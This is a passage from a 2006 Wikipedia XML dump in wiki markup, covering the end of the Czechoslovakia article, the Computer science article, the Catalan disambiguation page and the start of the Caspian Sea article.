*1918&amp;ndash;1920: '''Czecho-Slovak Republic''' or '''Czechoslovak Republic''' (abbreviated RČS); short form Czecho-Slovakia or rarely Czechoslovakia
*1920&amp;ndash;1938 and 1945&amp;ndash;1960: '''Czechoslovak Republic''' (ČSR [initially abbreviated RČS]); short form Czechoslovakia
*1938&amp;ndash;1939: '''Czecho-Slovak Republic'''; Czecho-Slovakia
*1960&amp;ndash;1990: '''Czechoslovak Socialist Republic''' (ČSSR); Czechoslovakia
*April 1990: Czechoslovak Federative Republic (Czech version) and Czecho-Slovak Federative Republic (Slovak version), 
*afterwards: '''Czech and Slovak Federative Republic''' (ČSFR, with the short forms Czechoslovakia (Czech version) and Czecho-Slovakia (Slovak version))

== History ==
''Main article'': [[History of Czechoslovakia]]
[[Image:Czechoslovakia1927.png|thumb|right|200px|Czechoslovakia in 1927]]
[[Image:Czechoslovakia.png|thumb|right|200px|Czechoslovakia in 1969]]
Czechoslovakia arose in October 1918 as one of the succession states of [[Austria-Hungary]] at the end of [[World War I]]. It consisted of the present-day territories of the [[Czech Republic]], [[Slovakia]] and  (until [[1939]]/[[29 June]] [[1945]]) [[Carpathian Ruthenia]] (briefly independent as [[Carpatho-Ukraine]]). Its territory included some of the most industrialized regions of the former Austria-Hungary, it was a [[democratic]] republic throughout the pre-[[World War II]] period, but was characterized by ethnic problems. The ethnic problems were due to the fact that the second and third largest [[ethnic group]]s ([[ethnic German|Germans]] and [[Slovaks]], respectively) were not satisfied with the political and economic dominance of the [[Czechs]], and that most Germans and [[Hungarians]] of Czechoslovakia never really accepted the creation of the new state. 

Many Germans, Hungarians and Poles, but also some Slovaks, felt disadvantaged in Czechoslovakia, because the political elite of the country introduced a centralised state and most of the time did not allow political autonomy for the ethnic groups. This policy, combined with increasing Nazi propaganda especially in the industrialised German speaking Sudetenland, led to increasing unrest among the Non-Czech population.

Before WWII, Czechoslovakia became [[Hitler]]'s target. After the [[Munich Agreement]] of 1938, Hitler's troops occupied the ethnic-German border regions of [[Bohemia]] and [[Moravia]] (the [[Sudetenland]]), Hungary received territory in southern Slovakia, and the Slovak and [[Rusyns|Ruthene]] regions received an autonomous status for a while. Finally Czechoslovakia ceased to exist in March 1939, when Hitler occupied the remainder of the Bohemian lands and (the remaining) Slovakia was forced to declare independence. During the [[World War II|Second World War]] the Bohemian lands were designated the Protectorate of Bohemia and Moravia and were ruled directly by the German state. The newly independent Slovak state became an ally of Nazi Germany. Slovakia's troops fought on the Russian front until the summer of 1944, when the Slovak armed forces staged an uprising against their government. German forces crushed this uprising after several months of fighting.

After [[World War II]], pre-war Czechoslovakia was reestablished, all Germans were expelled from the country and [[Carpathian Ruthenia|Ruthenia]] was occupied by (and ultimately ceded to) the Soviet Union. Three years later the [[Communist Party of Czechoslovakia]] seized power ([[1948]]&amp;ndash;[[1989]]) following a parliamentary election in which the Communists emerged as the winner and the country came under the influence of the [[Soviet Union]]. Except for a short period in the late [[1960s]] (the [[Prague Spring]]) the country was characterized by the absence of democracy and relative economic backwardness compared to Western Europe, although its economy remained more advanced than those of its neighbors in Eastern Europe. In the religious sphere, [[atheism]] was officially promoted and taught. In [[1969]], Czechoslovakia was turned into a [[federation]] of the [[Czech Socialist Republic]] and [[Slovak Socialist Republic]]. Under the federation, social and economic inequities between the Czech and Slovak halves of the state were largely eliminated.

In [[1989]], the country became a democratic country again through the [[Velvet revolution]]. In [[1992]], the federal parliament decided to split the country into the [[Czech Republic]] and [[Slovakia]], as of [[January 1]], [[1993]].

=== From creation to dissolution — overview ===
{{Cs-timeline}}

== Heads of state and government ==
*[[List of Presidents of Czechoslovakia]]
*[[List of Prime Ministers of Czechoslovakia]]
* see also [[Communist Party of Czechoslovakia]] &amp;mdash; [[Communist Party of Czechoslovakia#Leaders|Leaders]]

== International agreements and membership ==
After WWII, active participant in Council for Mutual Economic Assistance ([[Comecon]]), [[Warsaw Pact]], [[United Nations]] and its specialized agencies, and [[Movement of Nonaligned Nations]]; signatory of [[conference on Security and Cooperation in Europe]]

== Administrative divisions ==
''Main article: [[Administrative divisions of Czechoslovakia]]''
*[[1918]]&amp;ndash;[[1923]]: different systems on former Austrian territory ([[Bohemia]], [[Moravia]], small part of [[Silesia]]) and on former Hungarian territory ([[Slovakia]] and [[Ruthenia]]): 3 lands [země] (also called district units [obvody]) Bohemia, Moravia, Silesia + 21 counties [župy] in today's Slovakia + 2? counties in today's Ruthenia; both lands and counties were divided in districts [okresy]
*[[1923]]&amp;ndash;[[1927]]: like above, except that the above counties were replaced by 6 (grand) counties [(veľ)župy] in today's Slovakia and 1 (grand) county in today's Ruthenia, and the number and frontiers of the okresy were changed on these 2 territories
*[[1928]]&amp;ndash;[[1938]]: 4 lands [in Czech: země / in Slovak: krajiny]: Bohemia, Moravia-Silesia, Slovakia and Subcarpathian Ruthenia; divided in districts [okresy]
*late [[1938]]&amp;ndash;March [[1939]]: like above, but Slovakia and Ruthenia were promoted to &quot;autonomous lands&quot;
*[[1945]]&amp;ndash;[[1948]]: like 1928&amp;ndash;1938, except that Ruthenia became part of the Soviet Union
*[[1949]]&amp;ndash;[[1960]]: 19 regions [kraje]  divided in 270 districts [okresy]
*[[1960]]&amp;ndash;[[1992]]: 10 regions [kraje], [[Prague]], and (since 1970) [[Bratislava]]; divided in 109&amp;ndash;114 districts [okresy]; the kraje were abolished temporarily in Slovakia in 1969&amp;ndash;1970 and for many functions since 1991 in Czechoslovakia; in addition, the two republics Czech Socialist Republic and Slovak Socialist Republic were established in 1969 (without the word ''Socialist'' since 1990)

== Population and ethnic groups == 
''Main article'': [[Population and Ethnic Groups of Czechoslovakia]]

== Religion ==
''Main article'': [[Religion in Communist Czechoslovakia]]

In 1991: Roman Catholics 46.4%, Evangelic Lutheran 5.3%, Atheist 29.5%, n/a 16.7%, but there were huge differences between the 2 constituent republics &amp;ndash; see [[Czech Republic]] and [[Slovakia]]

== Health, social welfare and housing==
''Main article'': [[Health and Social Welfare in Communist Czechoslovakia]]

After WWII, free health care was available to all citizens. National health planning emphasized preventive medicine; factory and local health-care centers supplemented hospitals and other inpatient institutions. Substantial improvement in rural health care in 1960s and 1970s.

== Politics ==
''Main articles'': [[Czechoslovakia: 1918 - 1938]] and [[Politics of Communist Czechoslovakia]]

After WWII, monopoly on politics held by [[Communist Party of Czechoslovakia]]. [[Gustáv Husák]] elected first secretary of KSC in 1969 (changed to general secretary in 1971) and president of Czechoslovakia in 1975. Other parties and organizations existed but functioned in subordinate roles to KSC. All political parties, as well as numerous mass organizations, grouped under umbrella of National Front of the Czechoslovak Socialist Republic. Human rights activists and religious activists severely repressed

== Government==
''Main article'': [[Government structure of Communist Czechoslovakia]]

== Constitutional development ==
Czechoslovakia had the following [[constitution]]s throughout its history (1918 &amp;ndash; 1992):
* Temporary Constitution of November 14 1918 [democratic], see: [[Czechoslovakia: 1918 - 1938]]
* The 1920 Constitution (The Constitutional Document of the Czechoslovak Republic) [democratic, in force till 1948, several amendments], see: [[Czechoslovakia: 1918 - 1938]]
* The 1948 Constitution (The [[Ninth-of-May Constitution]]) [a Communist one] 
* The [[1960 Constitution of Czechoslovakia|1960 Constitution]] (The Constitution of the Czechoslovak Socialist Republic) [a Communist one till 1989] with  amendments in 1968 (Czechoslovakia turned into a federation), 1971, 1975, 1978, 1989 (leading role of the [[Communist Party of Czechoslovakia|KSC]] abolished) and several times during 1990-1992 (e. g. 1990 change of the name of Czechoslovakia, 1991 incorporation of the human rights charter)

== Society and social groups ==
''Main article'': [[Society of Communist Czechoslovakia]]

== Education ==
''Main article'': [[Education in Czechoslovakia]]

Education free at all levels and compulsory from age six to sixteen. Vast majority of population literate. Highly developed system of apprenticeship training and vocational schools supplemented general secondary schools and institutions of higher education

== Resource base ==
''Main article'': [[Resource base of Communist Czechoslovakia]]

After WWII, country energy short, relying on imported crude oil and natural gas from Soviet Union, domestic brown coal, and nuclear and hydroelectric energy. Energy constraints a major factor in 1980s. 

== Economy, foreign trade and financial system==
''Main articles'': [[Economy of Communist Czechoslovakia]] and [[Economic History of Communist Czechoslovakia]]

After WWII, economy centrally planned with command links controlled by communist party, similar to [[Soviet Union]]. Large metallurgical industry but dependent on imports for iron and nonferrous ores. 

*Industry: Extractive and manufacturing industries dominated sector. Major branches included machinery, chemicals, food processing, metallurgy, and textiles. Industry wasteful of energy, materials, and labor and slow to upgrade technology, but country source of high-quality machinery and arms for other communist countries. 
*Agriculture: Minor sector but supplied bulk of food needs. Dependent on large imports of grains (mainly for livestock feed) in years of adverse weather. Meat production constrained by shortage of feed, but high per capita consumption of meat. 
*Foreign Trade: Exports estimated at US$17.8 billion in 1985, of which 55 % machinery, 14 % fuels and materials, 16 % manufactured consumer goods. Imports at estimated US$17.9 billion in 1985, of which 41 % fuels and materials, 33 % machinery, 12 % agricultural and forestry products other. In 1986, about 80 % of foreign trade with communist countries. 
*Exchange Rate: Official, or commercial, rate Kcs 5.4 per US$1 in 1987; tourist, or noncommercial, rate Kcs 10.5 per US$1. Neither rate reflected purchasing power. The exchange rate on the [[black market]] was around Kcs 30 per US$1, and this rate became the official one once the currency became convertible in the early 1990s.
*Fiscal Year: Calendar year. 
*Fiscal Policy: State almost exclusive owner of means of production. Revenues from state enterprises primary source of revenues followed by turnover tax. Large budget expenditures on social programs, subsidies, and investments. Budget usually balanced or small surplus.

== Transportation and communications ==
''Main article'': [[Transportation in Czechoslovakia]]

== Mass media ==
''Main article'': [[Mass media in Communist Czechoslovakia]]

== Sports ==
The [[Czechoslovakia national football team]] was a consistent performer in the international scene, with 8 appearances in the [[Football World Cup|FIFA World Cup Finals]], finishing in second-place in [[Football World Cup 1934|1934]] and [[Football World Cup 1962|1962]].  The team also won the [[European Football Championship]] in [[1976 European Football Championship|1976]].

The [[Czechoslovakian national ice hockey team]] has won many medals from the world championships and olympic games.

The famous [[tennis]] players [[Ivan Lendl]] and [[Martina Navrátilová]] were born in Czechoslovakia.

== Culture ==
See: 
*[[Czech Republic]], [[Slovakia]]
*[[List of Czechs]], [[List of Slovaks]]
*[[MDZ (International Women's Day in Czechoslovakia, 1948 - 1989)|MDŽ]]

== Postage stamps ==
Czechoslovakia's first issue [http://www.fortunecity.com/marina/armada/367/czecfirs.htm]

==See also==
{{commonscat|Czechoslovakia}}
*[[Former countries in Europe after 1815]]

[[Category:Czechoslovakia]]
[[Category:Former countries in Europe]]

{{Link FA|eo}}

[[ar:تشيكوسلوفاكيا]]
[[bg:Чехословакия]]
[[ca:Txecoslovàquia]]
[[cs:Československo]]
[[cy:Tsiecoslofacia]]
[[da:Tjekkoslovakiet]]
[[de:Tschechoslowakei]]
[[el:Τσεχοσλοβακία]]
[[eo:Ĉeĥoslovakio]]
[[es:Checoslovaquia]]
[[et:Tšehhoslovakkia]]
[[eu:Txekoslobakia]]
[[fi:Tšekkoslovakia]]
[[fr:Tchécoslovaquie]]
[[gl:Checoslovaquia - Československo]]
[[he:צ'כוסלובקיה]]
[[hr:Čehoslovačka]]
[[hu:Csehszlovákia]]
[[id:Cekoslowakia]]
[[io:Chekoslovakia]]
[[ja:チェコスロヴァキア]]
[[ko:체코슬로바키아]]
[[lt:Čekoslovakija]]
[[nl:Tsjechoslowakije]]
[[nn:Tsjekkoslovakia]]
[[no:Tsjekkoslovakia]]
[[os:Чехословаки]]
[[pl:Czechosłowacja]]
[[pt:Checoslováquia]]
[[ro:Cehoslovacia]]
[[ru:Чехословакия]]
[[sk:Česko-Slovensko]]
[[sl:Češkoslovaška]]
[[sr:Чехословачка]]
[[sv:Tjeckoslovakien]]
[[uk:Чехословаччина]]
[[vi:Tiệp Khắc]]
[[zh:捷克斯洛伐克]]</text>
    </revision>
  </page>
  <page>
    <title>Computer science</title>
    <id>5323</id>
    <revision>
      <id>42131422</id>
      <timestamp>2006-03-04T00:53:56Z</timestamp>
      <contributor>
        <username>Allan McInnes</username>
        <id>647621</id>
      </contributor>
      <comment>achievements stub</comment>
      <text xml:space="preserve">{{Current-CS-COTW}}
{{portal}}
'''Computer science''' is the study of the theoretical foundations of [[information]] and [[computation]] and their implementation and application in [[computer system]]s{{ref|def}}.  Many [[diversity of computer science|diverse fields]] exist within the broader discipline of computer science; some emphasize the computation of specific results (such as [[computer graphics]]), while others (such as [[computational complexity theory]]) relate to properties of [[algorithms]] used in performing computations. Still others focus on the problems involved in implementing computations. For example, [[programming language theory]] studies approaches to describing a computation, while [[computer programming]] applies specific [[programming languages]] to craft a solution to some concrete computational problem. 

== History ==
{{main|history of computer science}}
The history of computer science predates the invention of the modern [[digital computer]]. Prior to the 1920s, the term  ''computer'' referred to a human clerk that performed calculations. Early researchers in what came to be called computer science, such as [[Kurt Gödel]], [[Alonzo Church]], and [[Alan Turing]], were interested in the question of computability: what things can be computed by a human clerk who simply follows a list of instructions with paper and pencil, for as long as necessary, and without ingenuity or insight. Part of the motivation for this work was the desire to develop ''computing machines'' that could automate the often tedious and error-prone work of a human computer. 

During the 1940s, as newer and more powerful computing machines were developed, the term ''computer'' came to refer to the machines rather than their human predecessors. As it became clear that computers could be used for more than just mathematical calculations the field of computer science broadened to study [[computation]] in general. Computer science began to be established as a distinct academic discipline in the 1960's, with the creation of the first computer science departments and degree programs {{ref_harvard|Denning2000|Denning 2000|_}}.

==Major achievements==
{{section-stub}}

* Definition of computability {{ref_harvard|Constable2000|Constable 2000|_}}
* Recognition that there are unsolvable and intractable problems {{ref_harvard|Constable2000|Constable 2000|_}}

== Relationship with other fields ==
{{main|Diversity of computer science}}
{{Wikiquotepar|Edsger Dijkstra}}

Despite its name, computer science rarely involves the study of computers themselves. In fact, the renowned computer scientist [[Edsger Dijkstra]] is often quoted as saying, ''&quot;Computer science is no more about computers than astronomy is about telescopes.&quot;'' The design and deployment of computers and computer systems is generally considered the province of disciplines other than computer science. For example, the study of [[computer hardware]] is usually considered part of [[computer engineering]], while the study of commercial [[computer system]]s and their deployment is often called [[information technology]] or [[information systems]]. However, there has been much cross-fertilization of ideas between the various computer-related disciplines. Computer science research has also often crossed into other disciplines, such as [[artificial intelligence]], [[cognitive science]], [[physics]] (see [[quantum computing]]), and [[linguistics]]. 

Computer science is considered by some to have a much closer relationship with [[mathematics]] than many scientific disciplines {{ref_harvard|Denning2000|Denning 2000|_}}. Early computer science was strongly influenced by the work of mathematicians such as [[Kurt Godel]] and [[Alan Turing]], and there continues to be a useful interchange of ideas between the two fields in areas such as [[mathematical logic]], [[category theory]], [[domain theory]], and [[algebra]].

The relationship between computer science and [[software engineering]] is a contentious issue, which is further muddied by [[Debates within software engineering|disputes]] over what the term &quot;software engineering&quot; means, and how [[Diversity of computer science|computer science is defined]]. Some people believe that software engineering is a subset of computer science. Others, taking a cue from the relationship between other engineering and science disciplines, believe that the principle focus of computer science is studying the properties of computation in general, while the principle focus of software engineering is the design of specific computations to achieve practical goals, making them different disciplines. This view is promulgated by (among others) [[David Parnas]] {{ref_harvard|Parnas1998|Parnas 1998|_}}. Still others maintain that software cannot be engineered at all.

==Fields of computer science==
{{section-stub}}

=== Mathematical foundations ===
; [[Cryptography]]   
: algorithms for protecting private data, including [[encryption]]   
; [[Graph theory]]
: Foundations for Data Storage structure and searching algorithms.
; [[Mathematical logic]]
; [[Type Theory]]   
: formal analysis of the types of data, and the use of these types to understand properties of programs, especially program safety

=== Theory of computation ===
; [[Automata theory]]
; [[Computability theory (computer science)|Computability theory]]
; [[Computational complexity theory]]   
: fundamental bounds (esp. time and storage space) on computations

=== Algorithms and data structures ===
; [[Analysis of algorithms]]   
; [[Algorithms]]
: formal processes used for computation, and the efficiency of these processes   
; [[Data structure]]s   
: the organization and manipulation of data

=== Programming languages and compilers ===
; [[Compiler]] construction
: ways of translating computer programs, usually from [[high-level programming language|higher level]] languages to [[low-level programming language|lower level]] ones
; [[Programming language]]s   
: formal languages for expressing algorithms and the properties of these languages

=== Databases ===
; [[Data mining]]   
: study of algorithms for searching and processing information in documents and databases; closely related to [[information retrieval]]   

=== Concurrent, parallel, and distributed systems ===
;[[Concurrency (computer science)|Concurrency]]
: theory and practice of simultaneous and interacting computation
; [[Computer networking|Networking]]   
: algorithms and protocols for reliably communicating data across long distances, often including [[error correction]]
;[[Parallel computing]]
: computing using multiple computers and multiple processors in parallel

===Computer architecture ===
; [[Computer architecture]]
: the design, organization, optimization and verification of a computer system at the gate level, mostly about [[CPU]]s and [[Memory (computers)|Memory]] subsystem
; [[Operating system]]s   
: systems for managing computer programs and data structures

=== Software engineering ===
; [[Computer programming]]   
: the act of writing algorithms in a [[programming language]]
; [[Formal methods]]
: mathematical approaches for describing and reasoning about software designs
; [[Software engineering]]   
: the principles and practice of designing, developing, and testing programs

=== Artificial intelligence ===
; [[Artificial intelligence]]
: the implementation and study of systems that exhibit (either behaviourally or seemingly) an autonomous intelligence or behaviour of their own, sometimes inspired by the characteristics of living beings. Computer science is closely tied with AI, as software and computers are primary tools for the development and progression of artificial intelligence.
; [[Automated reasoning]]
; [[Robotics]]   
: algorithms for controlling the behavior of robots
; [[Computer vision]]   
: algorithms for extracting three dimensional objects from a two dimensional picture

=== Computer graphics ===
; [[Computer graphics]]   
: algorithms both for generating visual images synthetically and for integrating or altering visual and spatial information sampled from the real world   
; [[Image processing]]
: Remote Sensing 

=== Scientific computing ===
; [[Bioinformatics]]

==Computer science education==

Some universities teach computer science as a theoretical study of computation and algorithmic reasoning.  These programs often feature the [[theory of computation]], [[analysis of algorithms]], [[formal methods]], [[Concurrency (computer science)|concurrency theory]], [[databases]], [[computer graphics]] and [[systems analysis]], among others.  They typically also teach [[computer programming]], but treat it as a vessel for the support of other fields of computer science rather than a central focus of high-level study.

Other colleges and universities, as well as [[secondary school]]s and vocational programs that teach computer science, emphasize the practice of advanced [[computer programming]] rather than the theory of algorithms and computation in their computer science curricula.  Such curricula tend to focus on those skills that are important to workers entering the software industry. The practical aspects of computer programming are often referred to as [[software engineering]]. However, there is a lot of [[Debates within software engineering|disagreement]] over what the term &quot;software engineering&quot; actually means, and whether it is the same thing as programming.

{{mergefrom|Bachelor of Computer Science#Typical Degree Requirements}}

== Careers ==
Graduates in Computer Science may pursue careers in (among others):
{|
| [[Computer programming]]
| writing the software that runs on a computer
|-
| [[Software engineering]]
| designing, managing, and writing large software systems
|-
| [[Systems analysis]]
| solving computer problems and applying computer technology to meet the individual needs of an organization
|-
| Computer science
| performing research, often in a specialized field of computer science
|-
| [[Database administration]]
| designing and managing computer [[database system]]s and managing the security of those systems, a job often also done by specialists in [[information technology]]
|-
| [[Web development]]
| design, development, and maintenance of World Wide Web sites, though web development is also frequently the domain of [[graphic designer]]s and [[information technology]] specialists.
|}

== See also ==
*[[Computing]]
*[[List of basic computer science topics]]	 
*[[List of computer science conferences]]	 
*[[List of open problems in computer science]]	 
*[[List of publications in computer science]]	 
*[[List of prominent pioneers in computer science]]

== Notes ==

#{{note|def}}
:*&quot;''Computer science is the study of information''&quot; [http://www.njit.edu/v2/archivecatalog/undergraduate/91/19-und.html Department of Computer and Information Science], Guttenberg Information Technologies
:*&quot;''Computer science is the study of computation.''&quot; [http://www.csbsju.edu/computerscience/curriculum Computer Science Department, College of Saint Benedict], Saint John's University
:*&quot;''Computer Science is the study of all aspects of computer systems, from the theoretical foundations to the very practical aspects of managing large software projects.''&quot; [http://study.massey.ac.nz/major.asp?major_code=2010&amp;prog_code=93068 Massey University]

== References ==
* [[Association for Computing Machinery]]. [http://www.acm.org/class/1998/overview.html 1998 ACM Computing Clasification System]. 1998.
* [[IEEE Computer Society]] and the [[Association for Computing Machinery]]. [http://www.computer.org/portal/cms_docs_ieeecs/ieeecs/education/cc2001/cc2001.pdf Computing Curricula 2001: Computer Science]. December 15, 2001.
* {{note_label|Denning2000|Denning 2000|_}} P.J. Denning (2000), [http://www.idi.ntnu.no/emner/dif8916/denning.pdf &quot;Computer science:the discipline&quot;], ''Encyclopedia of Computer Science'', 2000
* {{note_label|Constable2000|Constable 2000|_}} R.L. Constable (2000) [http://www.cs.cornell.edu/cis-dean/bgu.pdf &quot;Computer Science : Achievements and Challenges circa 2000&quot;], March 2000.
* {{note_label|Parnas1998|Parnas 1998|_}} D.L. Parnas (1998), &quot;Software Engineering Programmes are not Computer Science Programmes&quot;, ''Annals of Software Engineering'', vol. 6, 1998, pgs. 19-37

== External links ==
{{wikibooks}}
{{wikibookspar|Wikiversity|School of Computer Science}}
*[http://www.dmoz.org/Computers/Computer_Science/ Open Directory Project: Computer Science]
*[http://liinwww.ira.uka.de/bibliography/ Collection of Computer Science Bibliographies]
* [http://www.geocities.com/tablizer/science.htm  Belief that title &quot;science&quot; in &quot;computer science&quot; is inappropriate]

[[Category:Computer science| ]]

[[af:Rekenaarwetenskap]]
[[ar:&amp;#1593;&amp;#1604;&amp;#1605; &amp;#1575;&amp;#1604;&amp;#1581;&amp;#1575;&amp;#1587;&amp;#1608;&amp;#1576;]]
[[ast:Informática]]
[[bs:Informatika]]
[[bg:&amp;#1048;&amp;#1085;&amp;#1092;&amp;#1086;&amp;#1088;&amp;#1084;&amp;#1072;&amp;#1090;&amp;#1080;&amp;#1082;&amp;#1072;]]
[[bn:&amp;#2453;&amp;#2478;&amp;#2509;&amp;#2474;&amp;#2495;&amp;#2441;&amp;#2463;&amp;#2494;&amp;#2480; &amp;#2476;&amp;#2495;&amp;#2460;&amp;#2509;&amp;#2462;&amp;#2494;&amp;#2472;]]
[[br:Urzhiataerezh]]
[[ca:Inform&amp;#224;tica]]
[[cs:Informatika (počítačová věda)]]
[[csb:Infòrmatika]]
[[da:Datalogi]]
[[de:Informatik]]
[[el:&amp;#917;&amp;#960;&amp;#953;&amp;#963;&amp;#964;&amp;#942;&amp;#956;&amp;#951; &amp;#933;&amp;#960;&amp;#959;&amp;#955;&amp;#959;&amp;#947;&amp;#953;&amp;#963;&amp;#964;&amp;#974;&amp;#957;]]
[[es:Informática]]
[[eo:Komputiko]]
[[et:Informaatika]]
[[fa:&amp;#1593;&amp;#1604;&amp;#1605; &amp;#1585;&amp;#1575;&amp;#1740;&amp;#1575;&amp;#1606;&amp;#1607;]]
[[fr:Informatique]]
[[fy:Ynformatika]]
[[ga:Ríomheolaíocht]]
[[gl:Informática]]
[[he:&amp;#1502;&amp;#1491;&amp;#1506;&amp;#1497; &amp;#1492;&amp;#1502;&amp;#1495;&amp;#1513;&amp;#1489;]]
[[ko:&amp;#52980;&amp;#54504;&amp;#53552; &amp;#44284;&amp;#54617;]]
[[hr:Ra&amp;#269;unarstvo]]
[[id:Ilmu komputer]]
[[ia:Informatica]]
[[ie:Informatica]]
[[io:Informatiko]]
[[it:Informatica]]
[[iu:&amp;#5200;&amp;#5364;&amp;#5125;&amp;#5290;&amp;#5507;&amp;#5222;&amp;#5205;&amp;#5125;&amp;#5198;&amp;#5438;&amp;#5418;&amp;#5198;&amp;#5314;&amp;#5251; &amp;#5130;&amp;#5125;&amp;#5338;&amp;#5222;&amp;#5198;&amp;#5417;&amp;#5222;]]
[[jbo:samske]]
[[lb:Informatik]]
[[hu:Sz&amp;#225;m&amp;#237;t&amp;#225;stechnika]]
[[li:Informatica]]
[[ml:&amp;#3349;&amp;#3330;&amp;#3370;&amp;#3405;&amp;#3375;&amp;#3393;&amp;#3359;&amp;#3405;&amp;#3359;&amp;#3376;&amp;#3405;&amp;#8205; &amp;#3382;&amp;#3390;&amp;#3384;&amp;#3405;&amp;#3364;&amp;#3405;&amp;#3376;&amp;#3330;]]
[[nl:Informatica]]
[[ja:&amp;#24773;&amp;#22577;&amp;#24037;&amp;#23398;]]
[[lv:Datorzin&amp;#257;tne]]
[[no:Informatikk]]
[[oc:Informatica]]
[[pl:Informatyka (technika)]]
[[pt:Ciência da computação]]
[[ro:Informatic&amp;#259;]]
[[ru:&amp;#1048;&amp;#1085;&amp;#1092;&amp;#1086;&amp;#1088;&amp;#1084;&amp;#1072;&amp;#1090;&amp;#1080;&amp;#1082;&amp;#1072;]]
[[simple:Computer science]]
[[sl:Ra&amp;#269;unalni&amp;#353;tvo]]
[[sr:&amp;#1056;&amp;#1072;&amp;#1095;&amp;#1091;&amp;#1085;&amp;#1072;&amp;#1088;&amp;#1089;&amp;#1090;&amp;#1074;&amp;#1086;]]
[[fi:Tietojenkäsittelytiede]]
[[sv:Datavetenskap]]
[[tl:Agham pangkompyuter]]
[[th:&amp;#3623;&amp;#3636;&amp;#3607;&amp;#3618;&amp;#3634;&amp;#3585;&amp;#3634;&amp;#3619;&amp;#3588;&amp;#3629;&amp;#3617;&amp;#3614;&amp;#3636;&amp;#3623;&amp;#3648;&amp;#3605;&amp;#3629;&amp;#3619;&amp;#3660;]]
[[vi:Khoa h&amp;#7885;c máy tính]]
[[tr:Bilişim bilimi]]
[[zh:&amp;#35745;&amp;#31639;&amp;#26426;&amp;#31185;&amp;#23398;]]</text>
    </revision>
  </page>
  <page>
    <title>Catalan</title>
    <id>5324</id>
    <revision>
      <id>35584415</id>
      <timestamp>2006-01-17T20:44:41Z</timestamp>
      <contributor>
        <ip>128.195.132.252</ip>
      </contributor>
      <comment>spelling</comment>
      <text xml:space="preserve">'''Catalan''' can refer to:

* The [[Catalan people]]
* The [[Catalan language]]
* An inhabitant of [[Catalonia]]
* A Catalan speaker, whether or not from strict Catalonia (see [[Catalan Countries]]).
* [[Eugène Charles Catalan]], a mathematician
* [[Catalan solid]], a concept in mathematics
* [[Catalan number]], a concept in mathematics
* [[Catalan Opening]], a chess opening
* [[Catalan forge]], an early type of open-hearth furnace
* [[Catalan vault]], an architectural feature (also known as a '''Catalan arch''' or a '''Catalan turn''')
* The [[Catalan Company]] (or '''Catalan Grand Company'''), a mercenary free company in 14th century Europe
* The Catalan [[middle dot]], an orthographic symbol
* [[Catalan Communications]], a publisher of graphic novels during the 1980s
* The [[lunar crater]] [[Catalán (crater)|Catalán]].
* The Spanish spectroscopist [[Miguel Ángel Catalán]] (1894-1957), after whom the lunar crater is named.

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Caspian Sea</title>
    <id>5325</id>
    <revision>
      <id>41853337</id>
      <timestamp>2006-03-02T03:57:31Z</timestamp>
      <contributor>
        <ip>70.68.185.170</ip>
      </contributor>
      <comment>/* Cities near the Caspian Sea */</comment>
      <text xml:space="preserve">[[Image:Caspian Sea from orbit.jpg|thumb|right|Caspian Sea viewed from orbit]]

The '''Caspian Sea''' is a [[landlocked]] [[endorheic]] [[sea]] between [[Asia]] and [[Europe]] ([[European Russia]]). It is the world's largest inland body of water.  It has a surface area of [[1 E11 m²|371,000]] [[square kilometre|km&amp;sup2;]] (143,000 sq. mi.), and a maximum depth of about 980m (3200 ft). Thus it has characteristics common to both seas and [[lake]]s. It is often listed as the world's largest lake, though it is not a [[freshwater]] one. It has a [[salinity]] of approximately 1.2%, about a third the salinity of [[sea water]].

==Geography==
The Caspian Sea is bordered by [[Russia]] ([[Dagestan]], [[Kalmykia]], [[Astrakhan Oblast]]), [[Azerbaidzhan|Republic of Azerbaijan]], [[Iran]]/Persia ([[Guilan]], [[Mazandaran]] and [[Golestan]] provinces), [[Turkmenistan]] ([[Balkan Province]]), and [[Kazakhstan]], with the [[central Asia]]n [[steppe]]s to the north and east. On its eastern Turkmen shore is a large embayment, the [[Garabogazköl]].

The sea is connected to the [[Sea of Azov]] by the [[Manych Canal]].

===Cities near the Caspian Sea===
Major cities by the Caspian Sea:

* [[Baku]], [[Azerbaycan|Republic of Azerbaijan]]
* [[Astara]], [[Iran]]
* [[Astara]], [[Azerbaycan|Republic of Azerbaijan]]
* [[Lenkeran]], [[Azerbaycan|Republic of Azerbaijan]]
* [[Sumqayit]], [[Azerbaycan|Republic of Azerbaijan]]
* [[Neft Daslari]], [[Azerbaycan|Republic of Azerbaijan]]
* [[Xacmas]], [[Azerbaycan|Republic of Azerbaijan]]
* [[Astrakhan]], [[Russia]]
* [[Derbent]], Russia
* [[Bandar Anzali]], [[Iran]]
* [[Rasht]], province of [[Gilan]], [[Iran]].
* [[Chalous]], province of Mazandaran, [[Iran]]
* [[Turkmenbashi, Turkmenistan|Turkmenbashi]], [[Turkmenistan]] (formerly Krasnovodsk)
* [[Atyrau]], [[Kazakhstan]] (formerly Guriev)
* [[Aktau]], [[Kazakhstan]] (formerly Shevchenko)

[[Image:Baku_2.jpg|thumb|250 px|right|The Caspian Sea, viewed from [[Baku]], [[Azerbaijan|Republic of Azerbaijan]].]]

==History==
The sea is estimated to be about 30 million years old. It became landlocked about 5.5 million years ago. Discoveries in the Huto cave near the town of [[Behshahr]], [[Iran]] suggest human habitation of the area as early as 75,000 years ago.

In [[classical antiquity]] it was called the ''[[Hyrcania]]n Ocean''. It has also been known as the ''[[Khazar]] Sea''. In Persian antiquity, as well as in modern [[Iran]], it is known as the ''[[Mazandaran]] Sea''. Old Russian sources call it the ''Khvalyn (Khvalynian) Sea'' after the Khvalis, inhabitants of [[Khwarezmia]]. Ancient Arabic sources refer to ''Bahr-e-Qazvin'' &amp;ndash; the ''[[Qazvin]] Sea''. In fact, the word &quot;Qazvin&quot; is derived from Caspian.

See also [http://www.cais-soas.com/CAIS/Geography/Caspian_Sea_Names.htm &quot;Names of the Caspian Sea&quot;].

Historical cities by the sea include
* [[Hyrcania]], Persia (Iran)
* [[Tamisheh]], Persia
* [[Atil, Khazaria]]
* [[Khazaran]]

==Fauna==
The Caspian holds great numbers of [[sturgeon]], which yield eggs that are processed into [[caviar]]. In recent years overfishing has threatened the sturgeon population to the point that [[Environmentalism|environmentalists]] advocate banning sturgeon fishing completely until the population recovers.  However, prices for sturgeon caviar are so high that fisherman can afford to pay equally high bribes to authorities to look the other way, making regulations in many locations ineffective.  Caviar harvesting further endangers the fish stocks, since it targets reproductive females.   

